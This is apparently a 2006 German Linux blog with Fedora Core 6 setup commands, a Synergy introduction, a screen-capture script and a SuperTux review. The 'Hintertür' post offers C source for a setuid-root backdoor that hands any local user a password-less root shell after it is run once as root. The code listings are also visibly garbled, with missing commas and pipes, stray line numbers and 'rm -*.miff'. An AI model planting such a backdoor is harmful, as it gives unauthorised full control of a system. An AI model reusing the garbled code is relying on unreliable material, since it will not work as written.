Fedora Core 6 Tips - 24.06.2006 - 10:11

Hier ein paar Tricks und Tips zu Fedora Core 6, der aktuellen Fedora Core Linux Distribution. Um zusätzliche Installationsquellen hinzufügen müssen die folgenden Befehle als root ausgeführt werden. Mit den neuen Installationsquellen von Freshrpms und Livna kann man danach 100ne von Softwarepaketen nachinstallieren, welche bei Fedora Core 6 standardmässig nicht dabei sind. Dazü gehöhren unteranderem die MP3-Unterstützung.
wget http://ayo.freshrpms.net/fedora/linux/6/i386/RPMS.freshrpms/\
freshrpms-release-1.1-1.fc.noarch.rpm
rpm -ihv freshrpms-release-1.1-1.fc.noarch.rpm
wget http://rpm.livna.org/fedora/6/i386/livna-release-6-1.noarch.rpm
rpm -ihv livna-release-6-1.noarch.rpm
wget http://rpm.livna.org/RPM-LIVNA-GPG-KEY
rpm --import RPM-LIVNA-GPG-KEY
wget http://ftp.freshrpms.net/pub/freshrpms/RPM-GPG-KEY
rpm --import RPM-GPG-KEY

Auch das Flash 9.0 Browserplugin für den Firefox ist nicht standardmässig installiert. Um dies nachzuholen muss das entsprechene Paket heruntergeladen, entpackt und an die richtige Stelle ins System kopiert werden. Dafür müssen ebenfalls die untern aufgeführten Befehle als root ausgeführt werden. Alternativ zum systemweiten Mozilla Pluginverzeichniss (/usr/lib/mozilla/plugins) kann man das Flash 9.0 Browserplugin auch in das Plugin Verzeichniss vom Mozilla Firefox ins Homeverzeichniss des Benutzers kopieren z.B. nach /home/slax/.mozilla/plugins
wget http://www.adobe.com/go/fp9_update_b2_installer_linuxplugin
tar xvfz FP9_plugin_beta_112006.tar.gz 
cp flash-player-plugin-9.0.21.78/libflashplayer.so /usr/lib/mozilla/plugins

Um nun auch Java und das Java Mozilla Plugin zu nutzen, muss das aktuelle Linux RPM Paket von http://java.sun.com/javase/downloads/index.jsp heruntergeladen werden. Wählt dann den Punkt "Java Runtime Environment (JRE) 6" aus. Dann das Linux Paket "jre-6-linux-i586-rpm.bin" und wenn Ihr es runtergeladen habt und müssen die folgenen Befehle als root ausgeführt werden.
chmod +x jre-6-linux-i586-rpm.bin
./jre-6-linux-i586-rpm.bin
ln -s /usr/java/jre1.6.0/plugin/i386/ns7/libjavaplugin_oji.so /usr/lib/\
mozilla/plugins
/usr/sbin/alternatives --install /usr/bin/java java /usr/java/jre1.6.0/bin/\
java 1600

Ein weiteres Muss ist der "Adobe Acrobat Reader". Dieser ist aktuell in der Version 7.0.8 für Linux verfügbar und besitzt PDF Funktionen welche z.B. "evince" dem GNOME PDF-Reader fehlen. Herunterladen kann man es unter http://www.adobe.com/products/acrobat/readstep2_allversions.html.

Jetzt müssen folgende Punkte ausgewählt werden:
- Betriebsystem: Unix/Linux
- Version: Linux (.rpm)
- Sprache deutsch

Installiert wird das RPM-Paket mit dem Befehl:
rpm -ivh AdobeReader_de-7.0.8-1.i386.rpm

ACHTUNG: Es gibt ein Problem mit der Version 7.0.8. Diese läuft leider nicht mit FC6. Grund ist ein Fehler im Startscript. Um dieses Problem zu beheben müssen jetzt lediglich zwei Zeilen im Startscript geändert werden. Alternativ zu dem Editor "vi" bzw. "vim" kann natürlich auch "gedit" als Editor benutzt werden, oder einfach ein Editor Eurer Wahl. Wichtig ist, das die folgenden Änderungen als root durchgeführt werden.
vi /usr/bin/acroread

Line 418:
Falsch:  echo $mfile| sed 's/libgtk-x11-\([0-9]*\).0.so.0.\([0-9]\)00\
.\([0-9]*\)\\|\(.*\)/\1\2\3/g'
Richtig: echo $mfile| sed 's/libgtk-x11-\([0-9]*\).0.so.0.\([0-9]*\)00\
.\([0-9]*\)\|\(.*\)/\1\2\3/g'

Line 643:
Falsch:  MIN_GTK_VERSION="240"
Richtig: MIN_GTK_VERSION="2040"

Nun kann man durch den Aufruf "acroread" das Programm Acrobat Reader starten.

Auch das Acrobat Reader Browserplugin kann nun verlinkt werden:

ln -s /usr/local/Adobe/Acrobat7.0/Browser/intellinux/nppdf.so /usr/lib/\
mozilla/plugins/

Um jetzt noch zusätzliche Schriftarten zu installieren müssen die folgenden Befehle als root ausgeführt werden.
wget --referer=http://www.mjmwired.net/resources/\
mjm-fedora-fc6.html http://www.mjmwired.net/resources/\
files/msttcorefonts-2.0-1.noarch.rpm
rpm -ivh msttcorefonts-2.0-1.noarch.rpm
/etc/init.d/xfs restart

So, das war's erstmal fürs erste.



Synergy - 21.10.2006 - 13:28

Ist euch folgenes Problem bekannt? Unter Eurem Schreibtisch befinden sich 2 oder mehere Rechner, welche an jeweils einem Monitor angeschlossen sind. Ein PC zum Basteln, Experimentieren, einer zum Spielen und vielleicht noch einer für Officeanwendungen und zum Surfen. Oft mit verschiedenen Betriebsystemen z.B.: Linux, Windows, MacOS oder Solaris. Zu jedem Rechner befindet sich auch eine Tastatur und Maus auf dem Schreibtisch. Das Vorhandensein von meheren Monitoren auf dem Schreibtisch hat sich mit den mitlerweile günstigen TFT's fast erledigt. Dieser Platz fällt kaum mehr ins Gewicht. Dafür aber die vielen Tastaturen. Und wie oft ist es Euch schon passiert, das Ihr die falsche Maus bzw. falsche Tastatur erwischt habt und Euch gewundert warum diese nicht reagieren. Sowas ist ägerlich. Für dieses Problem gibt es Abhilfe. Ein Programm mit Namen synergy von Chris Schoeneman. Dieses Programm erlaubt es bis zu vier Rechner mit einer Tastatur und Maus zu bedienen. Und das ganz ohne irgendwelche Umschalter oder ähnliches. Auch über Betriebsystemgrenzen hinweg. Also ein Linux Rechner neben einem Windows Rechner.

Das Programm funktioniert nach dem Client-Server Prinzip. Auf dem Server (unter Linux und MacOS) gibt es eine Konfigurationsdatei in welcher die vorhandenen Clients und der Server eingetragen werden.
Ist der Server einmal gestartet mit dem Befehl "synergys", wartet er auf eingehende Verbindungen der Clients. Unter Windows (das natürlich auch als Server laufen kann) gibt es hierfür eine Oberfläche zum Konfigurieren. Das Client-Programm "synergyc" benötigt lediglich die Angabe des Servernames um sich zu verbinden. Und dann kann es auch schon losgehen.


Mehr Informationen findet Ihr auf der englischsprachigen Projektseite synergy2.sourceforge.net. Dort wird auch beschrieben, wie man die Konfigurationsdatei erweitert oder wie man den Server oder Client automatisch starten lässt. Ich habe Euch hier aber schon die aktuellen Installationspakete und Quellcode zur Verfügung gestellt.

Dateiname: Grösse: Aktualisiert am:
file synergy-1.3.1-1.i386.rpm 642KB 21. Oktober 2006
file synergy-1.3.1.tar.gz 781KB 21. Oktober 2006
file SynergyInstaller-1.3.1.exe 902KB 21. Oktober 2006
file synergy-1.3.1-1.OSX.tar.gz 922KB 21. Oktober 2006

Viel Spass damit.


Hintertür - 12.04.2006 - 15:12

Mir ist gerade ein kleiner, alter, von mir geschriebener "C"-Schnipzel ins Auge gefallen, als ich nach einigen alten Dateien in meinem Dateisystem suchte. Vielleicht ist es Euch bekannt. So oder so ähnlich ist es schon des öfteren von anderen Programmierern im Internet aufgetaucht. Ich hatte dies damals geschrieben nachdem ich mich, dank einiger Experimente an meiner ersten SUN, nicht mehr als root auf der Maschine anmelden konnte. Ist der Code erst einmal kompiliert, mit dem Befehl:
gcc -o hintertuer hintertuer.c
so ist das Binary einmalig als root auszuführen. Nun kann jeder normal Benutzer dieses Programm starten um ohne Passwortabfrage eine Shell mit root Rechte zu bekommen. Also eine Hintertür falls man sich einmal aussperrt :-) Hier der Code:

hintertuer.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argcchar *argv[])
{
char buf[40];

if (getuid () == 0)
10  {
11  sprintf (buf"chown root %s"argv[0]);
12  system (buf);
13 
14  sprintf (buf"chmod +s %s"argv[0]);
15  system (buf);
16  }
17 
18  else
19  {
20  if ((setuid (0) !=0) || (setgid (0) !=0))
21  {
22  return -1;
23  }
24  execl ("/bin/sh""sh"0);
25  }
26  printf ("Warning: Only root can run this.\n");
27  return 1;
28  }

Sollte irgendjemand Unsinn damit treiben, übernehme ich keinerlei Haftung. Trotzdem viel Spass damit.


Bildschirmaufnahmen als Video - 23.03.2006 - 19:07

Wer schon einmal unter Linux etwas präsentieren wollte (z.B Software, Desktopfuntionen, ... und vieles mehr) merkt sehr bald, das man mit Screenshots nicht alles erreichen bzw. zeigen kann, was man damit eigentlich zeigen wollte. Warum dann nicht einfach ein kleines Video davon drehen? Ich spreche natürlich nicht davon sich mit seinem digitalen Camcorder vor den Bildschirm zu stellen und zu filmen, sondern von dem Ausführen meines kleinen Shell-Scripts um damit sehr einfach z.B. einzelne Fenster, Programme oder auch den kompletten Bildschirminhalt auf ein Video zu bannen. Das von mir geschriebene kleine Shell-Script nutzt im Wesentlichen drei Programme die grösstenteils in allen gängigen Linux-Distributionen dabei sind oder sein sollten. Diese müssen für die Verwendung des Scriptes installiert sein. Es sind: xwininfo, ImageMagick, mpeg2encode. xwininfo ist Bestandteil jeder X (Xorg oder XFree86) Installation! Hier also das Script:


myscreencapture.sh

#!/bin/sh
# Edit Variables if you want!
SHOTS=20
DELAY=40
FILE=screencapturemovie_$(date +"%Y%m%d_%H%M%S").mpg
#
NUMBER=0
printf "Please select a Window to grab!"
WINDOW=$(xwininfo  grep "Window id" awk '{print $4}')
10  echo --"\r"
11  while [[ "$NUMBER" -le "$SHOTS" ]]
12  do
13     import -window $WINDOW shots_$(date +"%Y%m%d-%H%M%S").miff
14     let NUMBER+=1
15     printf "Shot: $NUMBER/$SHOTS                     "
16     echo --"\r"
17  done
18  printf "Begin rendering Movie"; echo --"\r"
19  convert -quiet -delay $DELAY *.miff $FILE
20  if [[ $? -eq 0 ]];then
21     printf "Finish redering Movie\n"
22     printf "Filename = $FILE\n"
23     rm -*.miff
24  else
25     printf "!!! Failed redering Movie !!!\n"
26     rm -*.miff $FILE
27  fi

Spielt etwas mit den Variabeln herum! Um die Anzahl der Aufnahmen(SHOTS) und die Pause(DELAY) zwischen den einzelnen Bildern zu verändern. Auch der Dateiname(FILE) muss ja nicht screencapturemovie_20060323_160748.mpg heissen. Also noch viel Spass dabei.


Supertux - 23.01.2005 - 15:41

Nicht nur mit Latzhosen bekleidete Klempnermeister haben ein Anrecht auf zünftige Hüpfeinlagen und das Beseitigen der Gegner per Sprung auf den Kopf. Auch die Linuxgemeinde schickt ihr Idol auf die wagemutige Reise durch verschiedenste Levels. Diesmal in der Hauptrolle: Tux, der Pinguin der Linuxgemeinde. Er schlittert durch von Eis geprägten Levels und statt der Schildkröten im Klassiker Super Mario muss man hier auf Eisblöcke mit Beinen hüpfen und statt "Mach mich Gross-Pilzen" sind es hier Schneebälle, die unserem Pinguin das Wachsen beibringen. Alles in allem findet sich bei Super Tux jeder zurecht, der schon einmal einen Joypad in der Hand hatte und sich mit Super Mario vergnügliche Stunden bescheren durfte. Die Grafik ist dank Comiccharakter schön bunt (wenn auch das Eis die Levelfarben dominieren dürfte und der Sound ein wenig an Salsa-Musik errinnert. Zur Steuerung bleibt nur zu sagen: Cursortasten für Bewegung und linke Strg/Ctrl-Taste für schnellere Bewegung oder Feuern (sollte man "Feuer-Tux" sein). Im Netz gibts Installationspakete für Linux und Windows. Also einfach runterladen, installieren und der Spass kann beginnen.



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